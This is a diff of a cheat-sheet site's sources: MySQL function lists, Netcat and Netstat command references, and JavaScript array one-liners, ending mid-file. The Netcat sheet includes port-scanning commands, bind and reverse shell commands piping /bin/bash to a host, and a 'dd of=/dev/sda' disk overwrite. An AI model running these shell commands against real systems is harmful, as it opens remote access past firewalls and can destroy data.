||||
- [JSON_SCHEMA_VALIDATION_REPORT() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html#function_json-schema-validation-report){data-tooltip="Validate JSON document against JSON schema; returns report in JSON format on outcome on validation including success or failure and reasons for failure"}
|
||||
- [JSON_SEARCH()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-search){data-tooltip="Path to value within JSON document"}
|
||||
- [JSON_SET()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-set){data-tooltip="Insert data into JSON document"}
|
||||
- [JSON_STORAGE_FREE()](https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html#function_json-storage-free){data-tooltip="Freed space within binary representation of JSON column value following partial update"}
|
||||
- [JSON_STORAGE_SIZE()](https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html#function_json-storage-size){data-tooltip="Space used for storage of binary representation of a JSON document"}
|
||||
- [JSON_TABLE()](https://dev.mysql.com/doc/refman/8.0/en/json-table-functions.html#function_json-table){data-tooltip="Return data from a JSON expression as a relational table"}
|
||||
- [JSON_TYPE()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-type){data-tooltip="Type of JSON value"}
|
||||
- [JSON_UNQUOTE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-unquote){data-tooltip="Unquote JSON value"}
|
||||
- [JSON_VALID()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-valid){data-tooltip="Whether JSON value is valid"}
|
||||
- [JSON_VALUE() (introduced 8.0.21)](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-value){data-tooltip="Extract value from JSON document at location pointed to by path provided; return this value as VARCHAR(512) or specified type"}
|
||||
- [MEMBER OF() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#operator_member-of){data-tooltip="Returns true (1) if first operand matches any element of JSON array passed as second operand, otherwise returns false (0)"}
|
||||
{.cols-1}
|
||||
|
||||
|
||||
### Cast
|
||||
- [BINARY](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#operator_binary){data-tooltip="Cast a string to a binary string"}
|
||||
- [CAST()](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#function_cast){data-tooltip="Cast a value as a certain type"}
|
||||
- [CONVERT()](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#function_convert){data-tooltip="Cast a value as a certain type"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
### Flow Control
|
||||
- [CASE](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#operator_case){data-tooltip="Case operator"}
|
||||
- [IF()](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_if){data-tooltip="If/else construct"}
|
||||
- [IFNULL()](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_ifnull){data-tooltip="Null if/else construct"}
|
||||
- [NULLIF()](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_nullif){data-tooltip="Return NULL if expr1 = expr2"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
### Information
|
||||
- [BENCHMARK()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_benchmark){data-tooltip="Repeatedly execute an expression"}
|
||||
- [CHARSET()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_charset){data-tooltip="Return the character set of the argument"}
|
||||
- [COERCIBILITY()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_coercibility){data-tooltip="Return the collation coercibility value of the string argument"}
|
||||
- [COLLATION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_collation){data-tooltip="Return the collation of the string argument"}
|
||||
- [CONNECTION_ID()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_connection-id){data-tooltip="Return the connection ID (thread ID) for the connection"}
|
||||
- [CURRENT_ROLE()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_current-role){data-tooltip="Return the current active roles"}
|
||||
- [CURRENT_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_current-user){data-tooltip="The authenticated user name and host name"}
|
||||
- [DATABASE()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_database){data-tooltip="Return the default (current) database name"}
|
||||
- [FOUND_ROWS()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_found-rows){data-tooltip="For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause"}
|
||||
- [ICU_VERSION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_icu-version){data-tooltip="ICU library version"}
|
||||
- [LAST_INSERT_ID()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_last-insert-id){data-tooltip="Value of the AUTOINCREMENT column for the last INSERT"}
|
||||
- [ROLES_GRAPHML()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_roles-graphml){data-tooltip="Return a GraphML document representing memory role subgraphs"}
|
||||
- [ROW_COUNT()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_row-count){data-tooltip="The number of rows updated"}
|
||||
- [SCHEMA()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_schema){data-tooltip="Synonym for DATABASE()"}
|
||||
- [SESSION_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_session-user){data-tooltip="Synonym for USER()"}
|
||||
- [SYSTEM_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_system-user){data-tooltip="Synonym for USER()"}
|
||||
- [USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_user){data-tooltip="The user name and host name provided by the client"}
|
||||
- [VERSION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_version){data-tooltip="Return a string that indicates the MySQL server version"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
### Encryption and Compression
|
||||
- [AES_DECRYPT()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_aes-decrypt){data-tooltip="Decrypt using AES"}
|
||||
- [AES_ENCRYPT()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_aes-encrypt){data-tooltip="Encrypt using AES"}
|
||||
- [COMPRESS()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_compress){data-tooltip="Return result as a binary string"}
|
||||
- [MD5()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_md5){data-tooltip="Calculate MD5 checksum"}
|
||||
- [RANDOM_BYTES()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_random-bytes){data-tooltip="Return a random byte vector"}
|
||||
- [SHA1(), SHA()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_sha1){data-tooltip="Calculate an SHA-1 160-bit checksum"}
|
||||
- [SHA2()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_sha2){data-tooltip="Calculate an SHA-2 checksum"}
|
||||
- [STATEMENT_DIGEST()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_statement-digest){data-tooltip="Compute statement digest hash value"}
|
||||
- [STATEMENT_DIGEST_TEXT()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_statement-digest-text){data-tooltip="Compute normalized statement digest"}
|
||||
- [UNCOMPRESS()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_uncompress){data-tooltip="Uncompress a string compressed"}
|
||||
- [UNCOMPRESSED_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_uncompressed-length){data-tooltip="Return the length of a string before compression"}
|
||||
- [VALIDATE_PASSWORD_STRENGTH()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_validate-password-strength){data-tooltip="Determine strength of password"}
|
||||
{.cols-1}
|
||||
|
||||
|
||||
|
||||
### Locking
|
||||
- [GET_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_get-lock){data-tooltip="Get a named lock"}
|
||||
- [IS_FREE_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_is-free-lock){data-tooltip="Whether the named lock is free"}
|
||||
- [IS_USED_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_is-used-lock){data-tooltip="Whether the named lock is in use; return connection identifier if true"}
|
||||
- [RELEASE_ALL_LOCKS()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_release-all-locks){data-tooltip="Release all current named locks"}
|
||||
- [RELEASE_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_release-lock){data-tooltip="Release the named lock"}
|
||||
{.cols-1}
|
||||
|
||||
|
||||
|
||||
### Bit
|
||||
- [&](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-and){data-tooltip="Bitwise AND"}
|
||||
- [>>](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_right-shift){data-tooltip="Right shift"}
|
||||
- [<<](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_left-shift){data-tooltip="Left shift"}
|
||||
- [^](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-xor){data-tooltip="Bitwise XOR"}
|
||||
- [BIT_COUNT()](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#function_bit-count){data-tooltip="Return the number of bits that are set"}
|
||||
- [|](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-or){data-tooltip="Bitwise OR"}
|
||||
- [~](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-invert){data-tooltip="Bitwise inversion"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
|
||||
### Miscellaneous
|
||||
- [ANY_VALUE()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_any-value){data-tooltip="Suppress ONLY_FULL_GROUP_BY value rejection"}
|
||||
- [BIN_TO_UUID()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_bin-to-uuid){data-tooltip="Convert binary UUID to string"}
|
||||
- [DEFAULT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_default){data-tooltip="Return the default value for a table column"}
|
||||
- [GROUPING()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_grouping){data-tooltip="Distinguish super-aggregate ROLLUP rows from regular rows"}
|
||||
- [INET_ATON()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet-aton){data-tooltip="Return the numeric value of an IP address"}
|
||||
- [INET_NTOA()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet-ntoa){data-tooltip="Return the IP address from a numeric value"}
|
||||
- [INET6_ATON()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet6-aton){data-tooltip="Return the numeric value of an IPv6 address"}
|
||||
- [INET6_NTOA()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet6-ntoa){data-tooltip="Return the IPv6 address from a numeric value"}
|
||||
- [IS_IPV4()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv4){data-tooltip="Whether argument is an IPv4 address"}
|
||||
- [IS_IPV4_COMPAT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv4-compat){data-tooltip="Whether argument is an IPv4-compatible address"}
|
||||
- [IS_IPV4_MAPPED()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv4-mapped){data-tooltip="Whether argument is an IPv4-mapped address"}
|
||||
- [IS_IPV6()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv6){data-tooltip="Whether argument is an IPv6 address"}
|
||||
- [IS_UUID()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-uuid){data-tooltip="Whether argument is a valid UUID"}
|
||||
- [MASTER_POS_WAIT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_master-pos-wait){data-tooltip="Block until the replica has read and applied all updates up to the specified position"}
|
||||
- [NAME_CONST()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_name-const){data-tooltip="Cause the column to have the given name"}
|
||||
- [SLEEP()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_sleep){data-tooltip="Sleep for a number of seconds"}
|
||||
- [UUID()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_uuid){data-tooltip="Return a Universal Unique Identifier (UUID)"}
|
||||
- [UUID_SHORT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_uuid-short){data-tooltip="Return an integer-valued universal identifier"}
|
||||
- [UUID_TO_BIN()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_uuid-to-bin){data-tooltip="Convert string UUID to binary"}
|
||||
- [VALUES()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_values){data-tooltip="Define the values to be used during an INSERT"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
Also see {.cols-1}
|
||||
--------
|
||||
- [Regex in MySQL](/regex#regex-in-mysql) _(quickref.me)_
|
||||
@@ -0,0 +1,228 @@
|
||||
---
|
||||
title: Netcat
|
||||
date: 2020-11-25 18:28:43
|
||||
icon: icon-netcat
|
||||
background: bg-blue-600
|
||||
tags:
|
||||
- ncat
|
||||
- nc
|
||||
- utility
|
||||
- network
|
||||
- traffic
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: This cheat sheet provides various for using Netcat on both Linux and Unix.
|
||||
---
|
||||
|
||||
Getting started {.cols-5}
|
||||
---------------
|
||||
|
||||
### Usage {.col-span-2}
|
||||
|
||||
Connect to a host located anywhere
|
||||
|
||||
```shell script
|
||||
$ nc [options] [host] [port]
|
||||
```
|
||||
|
||||
Listen for incoming connections
|
||||
```shell script
|
||||
$ nc -lp port [host] [port]
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Option examples {.col-span-3 .row-span-2}
|
||||
|
||||
| Option | Description | Example |
|
||||
|--------|----------------------------|------------------------------------------|
|
||||
| `-h` | nc -h | Help |
|
||||
| `-z` | nc -z 192.168.1.9 1-100 | Port scan for a host or IP address |
|
||||
| `-v` | nc -zv 192.168.1.9 1-100 | Provide verbose output |
|
||||
| `-n` | nc -zn 192.168.1.9 1-100 | Fast scan by disabling DNS resolution |
|
||||
| `-l` | nc -lp 8000 | TCP Listen mode _(for inbound connects)_ |
|
||||
| `-w` | nc -w 180 192.168.1.9 8000 | Define timeout value |
|
||||
| `-k` | nc -kl 8000 | Continue listening after disconnection |
|
||||
| `-u` | nc -u 192.168.1.9 8000 | Use UDP instead of TCP |
|
||||
| `-q` | nc -q 1 192.168.1.9 8000 | Client stay up after EOF |
|
||||
| `-4` | nc -4 -l 8000 | IPv4 only |
|
||||
| `-6` | nc -6 -l 8000 | IPv6 only |
|
||||
|
||||
|
||||
### Chat client-server {.col-span-2}
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
|
||||
|
||||
Netcat Examples {.cols-3}
|
||||
--------
|
||||
|
||||
### Banner grabbing
|
||||
```shell script
|
||||
$ nc website.com 80
|
||||
GET index.html HTTP/1.1
|
||||
HEAD / HTTP/1.1
|
||||
```
|
||||
or
|
||||
```shell script
|
||||
echo "" | nc -zv -wl 192.168.1.1 801-805
|
||||
```
|
||||
|
||||
### Port scanning
|
||||
|
||||
Scan ports between 21 to 25
|
||||
```shell script
|
||||
$ nc -zvn 192.168.1.1 21-25
|
||||
```
|
||||
|
||||
Scan ports 22, 3306 and 8080
|
||||
```shell script
|
||||
$ nc -zvn 192.168.1.1 22 3306 8080
|
||||
```
|
||||
|
||||
|
||||
### Proxy and port forwarding
|
||||
```shell script
|
||||
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
|
||||
```
|
||||
or
|
||||
```shell script
|
||||
$ nc -l 8001 | nc 127.0.0.1 8000
|
||||
```
|
||||
Create a tunnel from one local port to another
|
||||
|
||||
|
||||
|
||||
### Download file
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ nc -lv 8000 < file.txt
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc -nv 192.168.1.9 8000 > file.txt
|
||||
```
|
||||
|
||||
Suppose you want to transfer a file “file.txt” from server A to client B.
|
||||
|
||||
|
||||
### Upload file
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ nc -lv 8000 > file.txt
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc 192.168.1.9 8000 < file.txt
|
||||
```
|
||||
|
||||
Suppose you want to transfer a file “file.txt” from client B to server A:
|
||||
|
||||
|
||||
### Directory transfer
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ tar -cvf – dir_name | nc -l 8000
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc -n 192.168.1.9 8000 | tar -xvf -
|
||||
```
|
||||
|
||||
Suppose you want to transfer a directory over the network from A to B.
|
||||
|
||||
|
||||
### Encrypt transfer {.col-span-2}
|
||||
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
Encrypt data before transfering over the network
|
||||
|
||||
|
||||
|
||||
### Clones
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ dd if=/dev/sda | nc -l 8000
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
|
||||
```
|
||||
|
||||
Cloning a linux PC is very simple. Suppose your system disk is /dev/sda
|
||||
|
||||
|
||||
|
||||
### Video streaming
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ cat video.avi | nc -l 8000
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script {.wrap}
|
||||
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
|
||||
```
|
||||
|
||||
Streaming video with netcat
|
||||
|
||||
|
||||
|
||||
|
||||
### Remote shell
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ nc -lv 8000 -e /bin/bash
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.
|
||||
|
||||
|
||||
|
||||
### Reverse shell
|
||||
|
||||
Server (192.168.1.9)
|
||||
```shell script
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
Client
|
||||
```shell script
|
||||
$ nc 192.168.1.9 8000 -v -e /bin/bash
|
||||
```
|
||||
|
||||
Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,82 @@
|
||||
---
|
||||
title: Netstat
|
||||
date: 2021-01-27 11:44:21
|
||||
icon: icon-netstat
|
||||
background: bg-slate-700
|
||||
tags:
|
||||
- network
|
||||
- utility
|
||||
- port
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: |
|
||||
This quick reference cheat sheet provides various for using netstat command.
|
||||
---
|
||||
|
||||
Getting started {.cols-3}
|
||||
---------------
|
||||
|
||||
|
||||
### Statistics
|
||||
|
||||
All connections on port 80
|
||||
```shell script
|
||||
$ netstat -anp | grep :80
|
||||
```
|
||||
Netstat Help
|
||||
```shell script
|
||||
$ netstat -h
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Listening
|
||||
| Option | Example |
|
||||
|------------------|----------------------|
|
||||
| `netstat -ltunp` | All Listening ports |
|
||||
| `netstat -ltn` | Listening TCP ports |
|
||||
| `netstat -lun` | Listening UDP ports |
|
||||
| `netstat -lx` | Listening Unix ports |
|
||||
|
||||
|
||||
|
||||
|
||||
### Connections
|
||||
|
||||
| Option | Example |
|
||||
|---------------|---------------------|
|
||||
| `netstat -a` | All connections |
|
||||
| `netstat -at` | All TCP connections |
|
||||
| `netstat -au` | All UDP connections |
|
||||
|
||||
|
||||
|
||||
|
||||
### Statistics
|
||||
|
||||
| Option | Example |
|
||||
|---------------|------------------------|
|
||||
| `netstat -s` | Display statistics |
|
||||
| `netstat -st` | Display TCP statistics |
|
||||
| `netstat -su` | Display UDP statistics |
|
||||
|
||||
|
||||
|
||||
|
||||
### Networks
|
||||
|
||||
| Option | Example |
|
||||
|---------------|---------------------------------------|
|
||||
| `netstat -i` | Show network interfaces |
|
||||
| `netstat -ie` | Show network interfaces extended info |
|
||||
|
||||
|
||||
|
||||
### Routing
|
||||
|
||||
| Option | Example |
|
||||
|---------------|-----------------------------------------|
|
||||
| `netstat -r` | Show routing table |
|
||||
| `netstat -rn` | Show routing table, don't resolve hosts |
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: How to cast a value as an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to cast a value as an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const castArray = value => Array.isArray(value) ? value : [value];
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
castArray(1); // [1]
|
||||
castArray([1, 2, 3]); // [1, 2, 3]
|
||||
```
|
||||
@@ -0,0 +1,33 @@
|
||||
---
|
||||
title: How to check if an array is empty in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to check if an array is empty only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const isEmpty = arr => !Array.isArray(arr) || arr.length === 0;
|
||||
```
|
||||
Parameters `arr` is an array.
|
||||
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
isEmpty([]); // true
|
||||
isEmpty([1, 2, 3]); // false
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
---
|
||||
title: How to clone an array in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to clone an array only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const clone = arr => arr.slice(0);
|
||||
```
|
||||
Parameters `arr` is an array.
|
||||
|
||||
|
||||
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const clone = arr => [...arr];
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const clone = arr => Array.from(arr);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const clone = arr => arr.map(x => x);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const clone = arr => JSON.parse(JSON.stringify(arr));
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const clone = arr => arr.concat([]);
|
||||
```
|
||||
@@ -0,0 +1,33 @@
|
||||
---
|
||||
title: How to compare two arrays regardless of order in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to compare two arrays regardless of order only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const isEqual = (a, b) => JSON.stringify(a.sort()) === JSON.stringify(b.sort());
|
||||
```
|
||||
Parameters `a` and `b` are arrays.
|
||||
|
||||
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
isEqual([1, 2, 3], [1, 2, 3]); // true
|
||||
isEqual([1, 2, 3], [1, 3, 2]); // true
|
||||
isEqual([1, 2, 3], [1, '2', 3]); // false
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
---
|
||||
title: How to compare two arrays in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to compare two arrays only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const isEqual = (a, b) => JSON.stringify(a) === JSON.stringify(b);
|
||||
```
|
||||
Parameters `a` and `b` are arrays.
|
||||
|
||||
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const isEqual = (a, b) => a.length === b.length && a.every((v, i) => v === b[i]);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
isEqual([1, 2, 3], [1, 2, 3]); // true
|
||||
isEqual([1, 2, 3], [1, '2', 3]); // false
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
---
|
||||
title: How to convert an array of objects to a single object in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to convert an array of objects to a single object only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const toObject = (arr, key) => arr.reduce((a, b) => ({ ...a, [b[key]]: b }), {});
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
toObject(
|
||||
[
|
||||
{ id: '1', name: 'Alpha', gender: 'Male' },
|
||||
{ id: '2', name: 'Bravo', gender: 'Male' },
|
||||
{ id: '3', name: 'Charlie', gender: 'Female' },
|
||||
],
|
||||
'id'
|
||||
);
|
||||
/*
|
||||
{
|
||||
'1': { id: '1', name: 'Alpha', gender: 'Male' },
|
||||
'2': { id: '2', name: 'Bravo', gender: 'Male' },
|
||||
'3': { id: '3', name: 'Charlie', gender: 'Female' },
|
||||
}
|
||||
*/
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: How to convert an array of strings to numbers in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to convert an array of strings to numbers only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const toNumbers = arr => arr.map(Number);
|
||||
```
|
||||
|
||||
### Or
|
||||
|
||||
```js {.wrap}
|
||||
const toNumbers = arr => arr.map(x => +x);
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
toNumbers(['2', '3', '4']); // [2, 3, 4]
|
||||
```
|
||||
@@ -0,0 +1,36 @@
|
||||
---
|
||||
title: How to count by the properties of an array of objects in JavaScript
|
||||
tags:
|
||||
- JavaScript
|
||||
- ES6
|
||||
- one-line
|
||||
- js
|
||||
- Array
|
||||
layout: note
|
||||
---
|
||||
|
||||
|
||||
|
||||
In this Article we will go through how to count by the properties of an array of objects only using single line of code in JavaScript.
|
||||
This is a one-line JavaScript code snippet that uses one of the most popular ES6 features => `Arrow Function`.
|
||||
<br/>
|
||||
<br/>
|
||||
Let's define this short function:
|
||||
|
||||
```js {.wrap}
|
||||
const countBy = (arr, prop) => arr.reduce((prev, curr) => (prev[curr[prop]] = ++prev[curr[prop]] || 1, prev), {});
|
||||
```
|
||||
|
||||
### Example
|
||||
|
||||
```js {.wrap}
|
||||
countBy([
|
||||
{ branch: 'audi', model: 'q8', year: '2019' },
|
||||
{ branch: 'audi', model: 'rs7', year: '2020' },
|
||||
{ branch: 'ford', model: 'mustang', year: '2019' },
|
||||
{ branch: 'ford', model: 'explorer', year: '2020' },
|
||||
{ branch: 'bmw', model: 'x7', year: '2020' },
|
||||
], 'branch');
|
||||
|
||||
// { 'audi': 2, 'ford': 2, 'bmw': 1 }
|
||||
```
|
||||
@@ -0,0 +1,35 @@
|
||||
---
|
||||
title: How to count the occurrences of a value in an array in JavaScript
|
||||
